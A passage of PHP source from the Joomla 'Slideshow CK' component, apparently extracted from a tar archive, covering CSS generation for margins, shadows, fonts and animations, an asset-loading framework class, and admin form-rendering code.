		$css['color'] = (isset($fields->$color) AND $fields->$color) ? "\tcolor: " . $fields->$color . ";\r\n" : "";
		$css['lineheight'] = (isset($fields->$lineheight) AND $fields->$lineheight) ? "\tline-height: " . $this->testUnit($fields->$lineheight) . ";\r\n" : "";
		$css['margintop'] = (isset($fields->$margintop) AND ($fields->$margintop OR $fields->$margintop == '0')) ? "\tmargin-top: " . $this->testUnit($fields->$margintop) . ";\r\n" : "";
		$css['marginbottom'] = (isset($fields->$marginbottom) AND ($fields->$marginbottom OR $fields->$marginbottom == '0')) ? "\tmargin-bottom: " . $this->testUnit($fields->$marginbottom) . ";\r\n" : "";
		$css['marginleft'] = (isset($fields->$marginleft) AND ($fields->$marginleft OR $fields->$marginleft == '0')) ? "\tmargin-left: " . $this->testUnit($fields->$marginleft) . ";\r\n" : "";
		$css['margins'] = (isset($fields->$margins) AND ($fields->$margins OR $fields->$margins == '0')) ? "\tmargin: " . $this->testUnit($fields->$margins) . ";\r\n" : "";
		$css['marginright'] = (isset($fields->$marginright) AND ($fields->$marginright OR $fields->$marginright == '0')) ? "\tmargin-right: " . $this->testUnit($fields->$marginright) . ";\r\n" : "";
		$css['paddingtop'] = (isset($fields->$paddingtop) AND ($fields->$paddingtop OR $fields->$paddingtop == '0')) ? "\tpadding-top: " . $this->testUnit($fields->$paddingtop) . ";\r\n" : "";
		$css['paddingbottom'] = (isset($fields->$paddingbottom) AND ($fields->$paddingbottom OR $fields->$paddingbottom == '0')) ? "\tpadding-bottom: " . $this->testUnit($fields->$paddingbottom) . ";\r\n" : "";
		$css['paddingleft'] = (isset($fields->$paddingleft) AND ($fields->$paddingleft OR $fields->$paddingleft == '0')) ? "\tpadding-left: " . $this->testUnit($fields->$paddingleft) . ";\r\n" : "";
		$css['paddingright'] = (isset($fields->$paddingright) AND ($fields->$paddingright OR $fields->$paddingright == '0')) ? "\tpadding-right: " . $this->testUnit($fields->$paddingright) . ";\r\n" : "";
		$css['paddings'] = (isset($fields->$paddings) AND ($fields->$paddings OR $fields->$paddings == '0')) ? "\tpadding: " . $this->testUnit($fields->$paddings) . ";\r\n" : "";

		$css['margins'] .= $css['margintop'] . $css['marginright'] . $css['marginbottom'] . $css['marginleft'];
		$css['paddings'] .= $css['paddingtop'] . $css['paddingright'] . $css['paddingbottom'] . $css['paddingleft'];

		// construct variable names
		$shadowcolor = $prefix . 'shadowcolor';
		$shadowhoffset = $prefix . 'shadowoffseth';
		$shadowvoffset = $prefix . 'shadowoffsetv';
		$shadowblur = $prefix . 'shadowblur';
		$shadowspread = $prefix . 'shadowspread';
		$shadowinset = $prefix . 'shadowinset';
		$shadowopacity = $prefix . 'shadowopacity';

		// manage shadow box
		$shadowcolorvalue = (isset($fields->$shadowcolor) AND $fields->$shadowcolor) ? $fields->$shadowcolor : "";
		$shadowhoffsetvalue = (isset($fields->$shadowhoffset) AND $fields->$shadowhoffset) ? $fields->$shadowhoffset : "0";
		$shadowvoffsetvalue = (isset($fields->$shadowvoffset) AND $fields->$shadowvoffset) ? $fields->$shadowvoffset : "0";
		$shadowblurvalue = (isset($fields->$shadowblur) AND $fields->$shadowblur) ? $fields->$shadowblur : "";
		$shadowspreadvalue = (isset($fields->$shadowspread) AND $fields->$shadowspread) ? $fields->$shadowspread : "0";
		$shadowinsetvalue = (isset($fields->$shadowinset) AND $fields->$shadowinset === '1') ? ' inset' : '';

		// manage rgba color for opacity
		if (isset($fields->$shadowopacity) AND $fields->$shadowopacity !== '' AND $shadowcolorvalue !== '') {
			$shadowcolorvalue = $this->hex2RGB($shadowcolorvalue, $fields->$shadowopacity);
		}
		
		if ($shadowcolorvalue && $shadowblurvalue) {
			$css['shadow'] = "\tbox-shadow: " . $shadowcolorvalue . " " . $this->testUnit($shadowhoffsetvalue) . " " . $this->testUnit($shadowvoffsetvalue) . " " . $this->testUnit($shadowblurvalue) . " " . $this->testUnit($shadowspreadvalue) . $shadowinsetvalue . ";\r\n"
					. "\t-moz-box-shadow: " . $shadowcolorvalue . " " . $this->testUnit($shadowhoffsetvalue) . " " . $this->testUnit($shadowvoffsetvalue) . " " . $this->testUnit($shadowblurvalue) . " " . $this->testUnit($shadowspreadvalue) . $shadowinsetvalue . ";\r\n"
					. "\t-webkit-box-shadow: " . $shadowcolorvalue . " " . $this->testUnit($shadowhoffsetvalue) . " " . $this->testUnit($shadowvoffsetvalue) . " " . $this->testUnit($shadowblurvalue) . " " . $this->testUnit($shadowspreadvalue) . $shadowinsetvalue . ";\r\n";
		} else {
			$css['shadow'] = "";
		}

		// construct variable names
		$fontactivation = $prefix . 'fontactivation';
		// $fontbold = $prefix . 'fontbold';
		$fontitalic = $prefix . 'fontitalic';
		$fontunderline = $prefix . 'fontunderline';
		// $fontuppercase = $prefix . 'fontuppercase';
		$fontfamily = $prefix . 'fontfamily';
		$googlefont = $prefix . 'googlefont';
		$fontweight = $prefix . 'fontweight';
		$fontsize = $prefix . 'fontsize';
		// $alignementactivation = $prefix . 'alignementactivation';
		// $alignement = $prefix . 'alignement';
		// $alignementleft = $prefix . 'alignementleft';
		// $alignementcenter = $prefix . 'alignementcenter';
		// $alignementjustify = $prefix . 'alignementjustify';
		// $alignementright = $prefix . 'alignementright';
		$wordspacing = $prefix . 'wordspacing';
		$letterspacing = $prefix . 'letterspacing';
		$textindent = $prefix . 'textindent';
		$textalign = $prefix . 'textalign';
		$fontweight = $prefix . 'fontweight';
		$texttransform = $prefix . 'texttransform';

		// $css['alignement'] = "";
		// if (isset($fields->$alignementright) AND $fields->$alignementright == 'checked') {
			// $css['alignement'] = $direction == "rtl" ? "\ttext-align: left;\r\n" : "\ttext-align: right;\r\n";
		// } else if (isset($fields->$alignementcenter) AND $fields->$alignementcenter == 'checked') {
			// $css['alignement'] = "\ttext-align: center;\r\n";
		// } else if (isset($fields->$alignementjustify) AND $fields->$alignementjustify == 'checked') {
			// $css['alignement'] = "\ttext-align: justify;\r\n";
		// } else if (isset($fields->$alignementleft) AND $fields->$alignementleft == 'checked') {
			// $css['alignement'] = $direction == "rtl" ? "\ttext-align: right;\r\n" : "\ttext-align: left;\r\n";
			// ;
		// }

		// $css['fontbold'] = "";
		$css['fontitalic'] = "";
		$css['fontunderline'] = "";
		$css['fontuppercase'] = "";
		
		$css['alignement'] = (isset($fields->$textalign) AND $fields->$textalign) ? "\ttext-align: " . $fields->$textalign . ";\r\n" : "";
		$css['fontbold'] = (isset($fields->$fontweight) AND $fields->$fontweight) ? "\tfont-weight: " . $fields->$fontweight . ";\r\n" : "";
		$css['fontuppercase'] = (isset($fields->$texttransform) AND $fields->$texttransform) ? "\ttext-transform: " . $fields->$texttransform . ";\r\n" : "";
		
		

		// if (isset($fields->$fontbold) AND $fields->$fontbold) {
			// if ($fields->$fontbold != 'default')
				// $css['fontbold'] = $fields->$fontbold == 'bold' ? "\tfont-weight: bold;\r\n" : "\tfont-weight: normal;\r\n";
		// }

		if (isset($fields->$fontitalic) AND $fields->$fontitalic) {
			if ($fields->$fontitalic != 'default')
				$css['fontitalic'] = $fields->$fontitalic == 'italic' ? "\tfont-style: italic;\r\n" : "\tfont-style: normal;\r\n";
		}

		if (isset($fields->$fontunderline) AND $fields->$fontunderline) {
			if ($fields->$fontunderline != 'default')
				$css['fontunderline'] = $fields->$fontunderline == 'underline' ? "\ttext-decoration: underline;\r\n" : "\ttext-decoration: none;\r\n";
		}

		// if (isset($fields->$fontuppercase) AND $fields->$fontuppercase) {
			// if ($fields->$fontuppercase != 'default')
				// $css['fontuppercase'] = $fields->$fontuppercase == 'uppercase' ? "\ttext-transform: uppercase;\r\n" : "\ttext-transform: none;\r\n";
		// }

		$css['textindent'] = (isset($fields->$textindent) AND $fields->$textindent) ? "\ttext-indent: " . $this->testUnit($fields->$textindent) . ";\r\n" : "";
		$css['letterspacing'] = (isset($fields->$letterspacing) AND $fields->$letterspacing) ? "\tletter-spacing: " . $this->testUnit($fields->$letterspacing) . ";\r\n" : "";
		$css['wordspacing'] = (isset($fields->$wordspacing) AND $fields->$wordspacing) ? "\tword-spacing: " . $this->testUnit($fields->$wordspacing) . ";\r\n" : "";
		$css['fontsize'] = (isset($fields->$fontsize) AND $fields->$fontsize) ? "\tfont-size: " . $this->testUnit($fields->$fontsize) . ";\r\n" : "";
		$css['fontstylessquirrel'] = '';
		if (isset($fields->$fontfamily) AND $fields->$fontfamily == 'googlefont') {
			$css['fontfamily'] = (isset($fields->$googlefont) AND $fields->$googlefont != "default") ? "\tfont-family: '" . $fields->$googlefont . "';\r\n" : "";
			$css['fontbold'] = (isset($fields->$fontweight) AND $fields->$fontweight != "") ? "\tfont-weight: " . $fields->$fontweight . ";\r\n" : "";
		} else {
			$css['fontfamily'] = (isset($fields->$fontfamily) AND $fields->$fontfamily != "default") ? "\tfont-family: " . $fields->$fontfamily . ";\r\n" : "";
		}
		// compatibility with multiple intefaces
		$gfontfamily = $prefix . 'textgfont';
		if (isset($fields->$gfontfamily) AND $fields->$gfontfamily) {
			$fields->$gfontfamily = str_replace('+', ' ', $fields->$gfontfamily);
			$css['fontfamily'] .= (isset($fields->$gfontfamily) AND $fields->$gfontfamily) ? "\tfont-family: '" . $fields->$gfontfamily . "';\r\n" : "";
		}


		// construct variable names
		$normallinkfontbold = $prefix . 'normallinkfontbold';
		$normallinkfontitalic = $prefix . 'normallinkfontitalic';
		$normallinkfontunderline = $prefix . 'normallinkfontunderline';
		$normallinkfontuppercase = $prefix . 'normallinkfontuppercase';
		$normallinkcolor = $prefix . 'normallinkcolor';

		$css['normallinkfontbold'] = "";
		$css['normallinkfontitalic'] = "";
		$css['normallinkfontunderline'] = "";
		$css['normallinkfontuppercase'] = "";

		if (isset($fields->$normallinkfontbold) AND $fields->$normallinkfontbold) {
			if ($fields->$normallinkfontbold != 'default')
				$css['normallinkfontbold'] = $fields->$normallinkfontbold == 'bold' ? "\tfont-weight: bold;\r\n" : "\tfont-weight: normal;\r\n";
		}

		if (isset($fields->$normallinkfontitalic) AND $fields->$normallinkfontitalic) {
			if ($fields->$normallinkfontitalic != 'default')
				$css['normallinkfontitalic'] = $fields->$normallinkfontitalic == 'italic' ? "\tfont-style: italic;\r\n" : "\tfont-style: normal;\r\n";
		}

		if (isset($fields->$normallinkfontunderline) AND $fields->$normallinkfontunderline) {
			if ($fields->$normallinkfontunderline != 'default')
				$css['normallinkfontunderline'] = $fields->$normallinkfontunderline == 'underline' ? "\ttext-decoration: underline;\r\n" : "\ttext-decoration: none;\r\n";
		}

		if (isset($fields->$normallinkfontuppercase) AND $fields->$normallinkfontuppercase) {
			if ($fields->$normallinkfontuppercase != 'default')
				$css['normallinkfontuppercase'] = $fields->$normallinkfontuppercase == 'uppercase' ? "\ttext-transform: uppercase;\r\n" : "\ttext-transform: none;\r\n";
		}

		$css['normallinkcolor'] = (isset($fields->$normallinkcolor) AND $fields->$normallinkcolor) ? "\tcolor: " . $fields->$normallinkcolor . ";\r\n" : "";


		// construct variable names
		$hoverlinkactivation = $prefix . 'hoverlinkactivation';
		$hoverlinkfontbold = $prefix . 'hoverlinkfontbold';
		$hoverlinkfontitalic = $prefix . 'hoverlinkfontitalic';
		$hoverlinkfontunderline = $prefix . 'hoverlinkfontunderline';
		$hoverlinkfontuppercase = $prefix . 'hoverlinkfontuppercase';
		$hoverlinkcolor = $prefix . 'hoverlinkcolor';

		$css['hoverlinkfontbold'] = "";
		$css['hoverlinkfontitalic'] = "";
		$css['hoverlinkfontunderline'] = "";
		$css['hoverlinkfontuppercase'] = "";

		if (isset($fields->$hoverlinkfontbold) AND $fields->$hoverlinkfontbold) {
			if ($fields->$hoverlinkfontbold != 'default')
				$css['hoverlinkfontbold'] = $fields->$hoverlinkfontbold == 'bold' ? "\tfont-weight: bold;\r\n" : "\tfont-weight: normal;\r\n";
		}

		if (isset($fields->$hoverlinkfontitalic) AND $fields->$hoverlinkfontitalic) {
			if ($fields->$hoverlinkfontitalic != 'default')
				$css['hoverlinkfontitalic'] = $fields->$hoverlinkfontitalic == 'italic' ? "\tfont-style: italic;\r\n" : "\tfont-style: normal;\r\n";
		}

		if (isset($fields->$hoverlinkfontunderline) AND $fields->$hoverlinkfontunderline) {
			if ($fields->$hoverlinkfontunderline != 'default')
				$css['hoverlinkfontunderline'] = $fields->$hoverlinkfontunderline == 'underline' ? "\ttext-decoration: underline;\r\n" : "\ttext-decoration: none;\r\n";
		}

		if (isset($fields->$hoverlinkfontuppercase) AND $fields->$hoverlinkfontuppercase) {
			if ($fields->$hoverlinkfontuppercase != 'default')
				$css['hoverlinkfontuppercase'] = $fields->$hoverlinkfontuppercase == 'uppercase' ? "\ttext-transform: uppercase;\r\n" : "\ttext-transform: none;\r\n";
		}

		$css['hoverlinkcolor'] = (isset($fields->$hoverlinkcolor) AND $fields->$hoverlinkcolor) ? "\tcolor: " . $fields->$hoverlinkcolor . ";\r\n" : "";


		$custom = $prefix . 'custom';
		$css['custom'] = (isset($fields->$custom) AND $fields->$custom) ? "\t" . $fields->$custom . "\r\n" : "";

		return $css;
	}

	/**
	* Set the CSS3 animations for the blocks
	*/
	private function genAnimations($fields, $prefix, $id) { 
		if (! isset($fields->{$prefix . 'animfade'})) return; // if no animation field is found, nothing to do here

		// fade, move, rotate, scale, flip?rotateY, replay
		$css = '';
		$transition = Array(); // transition: opacity 0.4s;transition: opacity 0.2s, transform 0.35s;
		$transform0 = Array(); // transform: rotate(45deg);transform: translate3d(0,40px,0);
		$transform100 = Array(); // transform: rotate(45deg);transform: translate3d(0,40px,0);
		$style0 = Array();
		$style100 = Array();
		$duration = isset($fields->{$prefix . 'animdur'}) && $fields->{$prefix . 'animdur'} ? $fields->{$prefix . 'animdur'} . 's' : '1s';
		$delay = isset($fields->{$prefix . 'animdelay'}) && $fields->{$prefix . 'animdelay'} ? $fields->{$prefix . 'animdelay'} . 's' : '0s';
		// fade effect
		if ($fields->{$prefix . 'animfade'} == '1') {
			$transition['fade'] = 'opacity ' . $duration;
			$style0[] = 'opacity: 0';
			$style100[] = 'opacity: 1';
		}
		// move effect
		if ($fields->{$prefix . 'animmove'} == '1') {
			$transition['transform'] = 'transform ' . $duration;
			switch($fields->{$prefix . 'animmovedir'}) {
				case 'ltrck':
				default:
					$transform0[] = 'translate3d(-' . (int)$fields->{$prefix . 'animmovedist'} . 'px,0,0)';
				break;
				case 'rtlck':
					$transform0[] = 'translate3d(' . (int)$fields->{$prefix . 'animmovedist'} . 'px,0,0)';
				break;
				case 'ttbck':
					$transform0[] = 'translate3d(0,-' . (int)$fields->{$prefix . 'animmovedist'} . 'px,0)';
				break;
				case 'bttck':
					$transform0[] = 'translate3d(0,' . (int)$fields->{$prefix . 'animmovedist'} . 'px,0)';
				break;
			}

//			$transform100[] = 'translate3d(0,0,0)';
		}
		// rotate effect
		if ($fields->{$prefix . 'animrot'} == '1') {
			$transition['transform'] = (isset($transition['transform']) && $transition['transform']) ? $transition['transform'] : 'transform ' . $duration;
			$transform0[] = 'rotate(' . $fields->{$prefix . 'animrotrad'} . 'deg)';
			$transform100[] = 'rotate(0deg)';
		}
		// scale effect
		if ($fields->{$prefix . 'animscale'} == '1') {
			$transition['transform'] = (isset($transition['transform']) && $transition['transform']) ? $transition['transform'] : 'transform ' . $duration;
			$transform0[] = 'scale(0)';
			$transform100[] = 'scale(1)';
		}

		if (count($transition)) {
			// start
			$css .= $id . ' {
				-webkit-transition: ' . implode(', ', $transition) . ';
				transition: ' . implode(', ', $transition) . ';

				' . (count($transform0) ? '-webkit-transform: ' . implode(' ', $transform0) . ';
				transform: ' . implode(' ', $transform0) . ';' : '') . '
				' . implode(';', $style0) . ';
				 -webkit-transition-delay: ' . $delay . ';
				transition-delay: ' . $delay . ';
			}
			';
			// end
			$id = str_replace('|ID|', '|ID| .cameravisible', $id);
			$css .= $id . ' {
				' . (count($transform0) ? '-webkit-transform: ' . implode(' ', $transform100) . ';
				transform: ' . implode(' ', $transform100) . ';' : '') . '
				' . implode(';', $style100) . ';
			}';
		}

		return $css;
	}

	/**
	* Set the CSS3 animations for the blocks
	*/
	private function genEffects($fields, $prefix, $id) {
		if (! isset($fields->{$prefix . 'fxopacity'})) return; // if no animation field is found, nothing to do here

		$css = '';
		$style = Array();
		$transition = Array();
		$transform = Array();
		$filter = Array();
		$fxdur = isset($fields->{$prefix . 'fxdur'}) ? $fields->{$prefix . 'fxdur'} : 0;
		$duration = isset($fields->{$prefix . 'fxdur'}) && $fields->{$prefix . 'fxdur'} ? $fields->{$prefix . 'fxdur'} . 's' : '0s';
		$delay = isset($fields->{$prefix . 'fxdelay'}) && $fields->{$prefix . 'fxdelay'} ? $fields->{$prefix . 'fxdelay'} . 's' : '0s';

		// fade effect
		if (isset($fields->{$prefix . 'fxopacity'}) && $fields->{$prefix . 'fxopacity'} != '') {
			if ($fxdur) {
				$transition['fade'] = 'opacity ' . $duration;
			}
			$style[] = 'opacity: ' . $fields->{$prefix . 'fxopacity'};
		}

		// move effect
		if (isset($fields->{$prefix . 'fxmovedist'}) && $fields->{$prefix . 'fxmovedist'} != '') {
			if ($fxdur) {
				$transition['transform'] = 'transform ' . $duration;
			}
			switch($fields->{$prefix . 'fxmovedir'}) {
				case 'ltrck':
				default:
					$transform[] = 'translate3d(-' . (int)$fields->{$prefix . 'fxmovedist'} . 'px,0,0)';
				break;
				case 'rtlck':
					$transform[] = 'translate3d(' . (int)$fields->{$prefix . 'fxmovedist'} . 'px,0,0)';
				break;
				case 'ttbck':
					$transform[] = 'translate3d(0,-' . (int)$fields->{$prefix . 'fxmovedist'} . 'px,0)';
				break;
				case 'bttck':
					$transform[] = 'translate3d(0,' . (int)$fields->{$prefix . 'fxmovedist'} . 'px,0)';
				break;
			}
		}
		// rotate effect
		if (isset($fields->{$prefix . 'fxrotrad'}) && $fields->{$prefix . 'fxrotrad'} != '' && $fields->{$prefix . 'fxrot'} == '1') {
			if ($fxdur) $transition['transform'] = (isset($transition['transform']) && $transition['transform']) ? $transition['transform'] : 'transform ' . $duration;
			$transform[] = 'rotate(' . $fields->{$prefix . 'fxrotrad'} . 'deg)';
		}
		// scale effect
		if (isset($fields->{$prefix . 'fxscale'}) && $fields->{$prefix . 'fxscale'} != '') {
			if ($fxdur) $transition['transform'] = (isset($transition['transform']) && $transition['transform']) ? $transition['transform'] : 'transform ' . $duration;
			$transform[] = 'scale(' . $fields->{$prefix . 'fxscale'} . ')';
		}
		// blur effect
		if (isset($fields->{$prefix . 'fxblur'}) && $fields->{$prefix . 'fxblur'} != '') {
			if ($fxdur) $transition['filter'] = (isset($transition['filter']) && $transition['filter']) ? $transition['filter'] : 'filter ' . $duration;
			$filter[] = 'blur(' . $fields->{$prefix . 'fxblur'} . 'px)';
		}
		// brightness effect
		if (isset($fields->{$prefix . 'fxbrightness'}) && $fields->{$prefix . 'fxbrightness'} != '') {
			if ($fxdur) $transition['filter'] = (isset($transition['filter']) && $transition['filter']) ? $transition['filter'] : 'filter ' . $duration;
			$filter[] = 'brightness(' . $fields->{$prefix . 'fxbrightness'} . ')';
		}
		// grayscale effect
		if (isset($fields->{$prefix . 'fxgrayscale'}) && $fields->{$prefix . 'fxgrayscale'} != '') {
			if ($fxdur) $transition['filter'] = (isset($transition['filter']) && $transition['filter']) ? $transition['filter'] : 'filter ' . $duration;
			$filter[] = 'grayscale(' . $fields->{$prefix . 'fxgrayscale'} . ')';
		}

		if (count($transition)) {
			// start
			$css .= $id . ' {
				' . ($prefix == 'slidehover' || $prefix == 'slideactive' ? 'z-index: 1;' : '') . '
				-webkit-transition: ' . implode(', ', $transition) . ';
				transition: ' . implode(', ', $transition) . ';
				filter: ' . implode(' ', $filter) . ';

				' . (count($transform) ? '-webkit-transform: ' . implode(' ', $transform) . ';
				transform: ' . implode(' ', $transform) . ';' : '') . '
				' . implode(';', $style) . ';
				 -webkit-transition-delay: ' . $delay . ';
				transition-delay: ' . $delay . ';
			}
			';
		} else {
			$css .= $id . ' {
				' . ($prefix == 'slidehover' || $prefix == 'slideactive' ? 'z-index: 1;' : '') . '
				' . (count($transform) ? '-webkit-transform: ' . implode(' ', $transform) . ';
				transform: ' . implode(' ', $transform) . ';' : '') . '
				filter: ' . implode(' ', $filter) . ';
				' . implode(';', $style) . ';
			}
			';
		}

		return $css;
	}
		/**
	 * Test if there is already a unit, else add the px
	 *
	 * @param string $value
	 * @return string
	 */
	function testUnit($value, $defaultunit = "px") {

		if ((stristr($value, 'px')) OR (stristr($value, 'em')) OR (stristr($value, '%')) OR $value == 'auto')
			return $value;

		return $value . $defaultunit;
	}

	/**
	 * Convert a hexa decimal color code to its RGB equivalent
	 *
	 * @param string $hexStr (hexadecimal color value)
	 * @param boolean $returnAsString (if set true, returns the value separated by the separator character. Otherwise returns associative array)
	 * @param string $seperator (to separate RGB values. Applicable only if second parameter is true.)
	 * @return array or string (depending on second parameter. Returns False if invalid hex color value)
	 */
	function hex2RGB($hexStr, $opacity) {
		$opacity = $opacity <= 1 ? $opacity : $opacity / 100;
		$hexStr = preg_replace("/[^0-9A-Fa-f]/", '', $hexStr); // Gets a proper hex string
		$rgbArray = array();
		if (strlen($hexStr) == 6) { //If a proper hex code, convert using bitwise operation. No overhead... faster
			$colorVal = hexdec($hexStr);
			$rgbArray['red'] = 0xFF & ($colorVal >> 0x10);
			$rgbArray['green'] = 0xFF & ($colorVal >> 0x8);
			$rgbArray['blue'] = 0xFF & $colorVal;
		} elseif (strlen($hexStr) == 3) { //if shorthand notation, need some string manipulations
			$rgbArray['red'] = hexdec(str_repeat(substr($hexStr, 0, 1), 2));
			$rgbArray['green'] = hexdec(str_repeat(substr($hexStr, 1, 1), 2));
			$rgbArray['blue'] = hexdec(str_repeat(substr($hexStr, 2, 1), 2));
		} else {
			return false; //Invalid hex color code
		}
		$rgbacolor = "rgba(" . $rgbArray['red'] . "," . $rgbArray['green'] . "," . $rgbArray['blue'] . "," . $opacity . ")";

		return $rgbacolor;
	}
}


com_slideshowck/helpers/ckframework.php000060400000006145152455305260014420 0ustar00<?php
/**
 * @name		CK Framework
 * @copyright	Copyright (C) 2019. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - https://www.template-creator.com - https://www.joomlack.fr
 */
namespace Slideshowck;

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

require_once 'ckuri.php';

//use Joomla\CMS\Language\Text as CKText;
// use Joomla\CMS\Uri\Uri as CKUri;
use \Slideshowck\CKUri;

/**
 * Framework Helper
 */
class CKFramework {

	private static $assetsPath = '/media/com_slideshowck/assets';

	private static $version = '1.0.0';

	private static $doload;

	public static function init() {
		global $ckframeworkloaded;
		global $ckframeworkloadedversion;

		// if the framework is already loaded with a same or better version, do nothing
		if ($ckframeworkloaded && version_compare($ckframeworkloadedversion, self::$version, '>=')) {
			self::$doload = false;
		}

		self::$doload = true;
	}

	public static function getInline() {
		if (self::$doload === false) return '';

		$assets = self::getInlineCss() . self::getInlineJs();

		return $assets;
	}

	public static function getInlineCss() {
		if (self::$doload === false) return '';

		$assets = '<link rel="stylesheet" href="' . CKUri::root(true) . self::$assetsPath . '/ckframework.css" type="text/css" />';

		return $assets;
	}

	public static function getInlineJs() {
		if (self::$doload === false) return '';

		$assets = '<script src="' . CKUri::root(true) . self::$assetsPath . '/ckframework.js" type="text/javascript"></script>';

		return $assets;
	}

	public static function loadInline() {
		echo self::getInline();
	}

	public static function load() {
		if (self::$doload === false) return;

		\Joomla\CMS\HTML\HTMLHelper::_('jquery.framework');
		$doc = \Joomla\CMS\Factory::getDocument();
		$doc->addStylesheet(CKUri::root(true) . self::$assetsPath . '/ckframework.css');
		$doc->addScript(CKUri::root(true) . self::$assetsPath . '/ckframework.js');
	}

	public static function loadCss() {
		if (self::$doload === false) return;

		$doc = \Joomla\CMS\Factory::getDocument();
		$doc->addStylesheet(CKUri::root(true) . self::$assetsPath . '/ckframework.css');
	}

	public static function loadJs() {
		if (self::$doload === false) return;

		$doc = \Joomla\CMS\Factory::getDocument();
		$doc->addScript(CKUri::root(true) . self::$assetsPath . '/ckframework.js');
	}

	public static function getFaIconsInline() {
		return '<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous" />';
	}

	public static function loadFaIconsInline() {
		echo self::getFaIconsInline();
	}

	/*
	 * Load the JS and CSS files needed to use CKBox
	 *
	 * Return void
	 */
	public static function loadCkbox() {
		$doc = \Joomla\CMS\Factory::getDocument();
		\Joomla\CMS\HTML\HTMLHelper::_('jquery.framework');
		$doc->addStyleSheet(CKUri::root(true) . self::$assetsPath . '/ckbox.css');
		$doc->addScript(CKUri::root(true) . self::$assetsPath . '/ckbox.js');
	}
}

CKFramework::init();com_slideshowck/helpers/ckinterface.php000060400000120236152455305260014361 0ustar00<?php
/**
 * @name		Slider CK
 * @package		com_slideshowck
 * @copyright	Copyright (C) 2016. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - http://www.template-creator.com - http://www.joomlack.fr
 */
namespace Slideshowck;

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Slideshowck\CKUri;

class CKInterface extends \stdClass {

	public $imagespath;
	
	public $colorpicker_class = 'color {required:false,pickerPosition:\'top\',pickerBorder:2,pickerInset:3,hash:true}';

	public function __construct($properties = null) {
		$this->imagespath = SLIDESHOWCK_MEDIA_URI . '/images';
	}

	public function createAll($prefix) {
		?>
		<div class="ckheading"><?php echo CKText::_('CK_TEXT_LABEL'); ?></div>
		<?php
		$this->createText($prefix);
		?>
		<div class="ckheading"><?php echo CKText::_('CK_APPEARANCE_LABEL'); ?></div>
		<?php
		$this->createBackgroundColor($prefix);
		$this->createBackgroundImage($prefix);
		$this->createBorders($prefix);
		$this->createRoundedCorners($prefix);
		$this->createShadow($prefix);
		// $this->createTextShadow($prefix);
		?>
		<div class="ckheading"><?php echo CKText::_('CK_DIMENSIONS_LABEL'); ?></div>
		<?php
		$this->createMargins($prefix);
		$this->createDimensions($prefix);
		/*
		?>
		<!--<div class="ckheading"><?php echo CKText::_('CK_ANIMATIONS_LABEL'); ?></div>-->
		<?php 
		$this->createAnimations($prefix);*/
	}

	public function createBackgroundColor($prefix) {
	?>
	<div class="ckrow">
		<label for="<?php echo $prefix; ?>backgroundcolorstart"><?php echo CKText::_('CK_BGCOLOR_LABEL'); ?></label>
		<img class="ckicon" src="<?php echo $this->imagespath ?>/color.png" />
		<input type="text" id="<?php echo $prefix; ?>backgroundcolorstart" name="<?php echo $prefix; ?>backgroundcolorstart" class="cktip <?php echo $prefix; ?> <?php echo $this->colorpicker_class; ?>" title="<?php echo CKText::_('CK_BGCOLOR_DESC'); ?>"/>
		<img class="ckicon" src="<?php echo $this->imagespath ?>/color.png" />
		<input type="text" id="<?php echo $prefix; ?>backgroundcolorend" name="<?php echo $prefix; ?>backgroundcolorend" class="cktip <?php echo $prefix; ?> <?php echo $this->colorpicker_class; ?>" title="<?php echo CKText::_('CK_BGCOLOR2_DESC'); ?>" onchange="ckCheckGradientImageConflict(this, '<?php echo $prefix; ?>backgroundimageurl')"/>
		<img class="ckicon" src="<?php echo $this->imagespath ?>/layers.png" />
		<input type="text" id="<?php echo $prefix; ?>backgroundopacity" name="<?php echo $prefix; ?>backgroundopacity" class="cktip <?php echo $prefix; ?>" style="width:45px;" title="<?php echo CKText::_('CK_BGOPACITY_DESC'); ?>"/>
	</div>
	<?php
	}
	
	public function createBackgroundImage($prefix) {
	?>
	<div class="ckrow">
		<label for="<?php echo $prefix; ?>backgroundimageurl"><?php echo CKText::_('CK_BACKGROUNDIMAGE_LABEL'); ?></label>
		<img class="ckicon" src="<?php echo $this->imagespath ?>/image.png" />
		<div class="ckbutton-group">
			<input type="text" id="<?php echo $prefix; ?>backgroundimageurl" name="<?php echo $prefix; ?>backgroundimageurl" class="cktip <?php echo $prefix; ?>" title="<?php echo CKText::_('CK_BACKGROUNDIMAGE_DESC'); ?>" onchange="ckCheckGradientImageConflict(this, '<?php echo $prefix; ?>backgroundcolorend')" style="max-width: none; width: 150px;"/>
			<a class="ckbutton" onclick="ckCallImageManagerPopup('<?php echo $prefix; ?>backgroundimageurl')" href="javascript:void(0)" ><?php echo CKText::_('CK_SELECT'); ?></a>
			<a class="ckbutton" href="javascript:void(0)" onclick="$ck(this).parent().find('input').val('');"><?php echo CKText::_('CK_CLEAR'); ?></a>
		</div>
	</div>
	<div class="ckrow">
		<label></label>
		<span><img class="ckicon" src="<?php echo $this->imagespath ?>/offsetx.png" /></span><span style="width:45px;"><input type="text" id="<?php echo $prefix; ?>backgroundimageleft" name="<?php echo $prefix; ?>backgroundimageleft" class="<?php echo $prefix; ?> cktip" style="width:45px;" title="<?php echo CKText::_('CK_BACKGROUNDPOSITIONX_DESC'); ?>" /></span>
		<span><img class="ckicon" src="<?php echo $this->imagespath ?>/offsety.png" /></span><span style="width:45px;"><input type="text" id="<?php echo $prefix; ?>backgroundimagetop" name="<?php echo $prefix; ?>backgroundimagetop" class="<?php echo $prefix; ?> cktip" style="width:45px;" title="<?php echo CKText::_('CK_BACKGROUNDPOSITIONY_DESC'); ?>" /></span>
		<div class="ckbutton-group">
			<input class="" type="radio" value="repeat" id="<?php echo $prefix; ?>backgroundimagerepeat" name="<?php echo $prefix; ?>backgroundimagerepeat" class="<?php echo $prefix; ?>" />
			<label class="ckbutton first" for="<?php echo $prefix; ?>backgroundimagerepeat"><img class="ckicon" src="<?php echo $this->imagespath ?>/bg_repeat.png" />
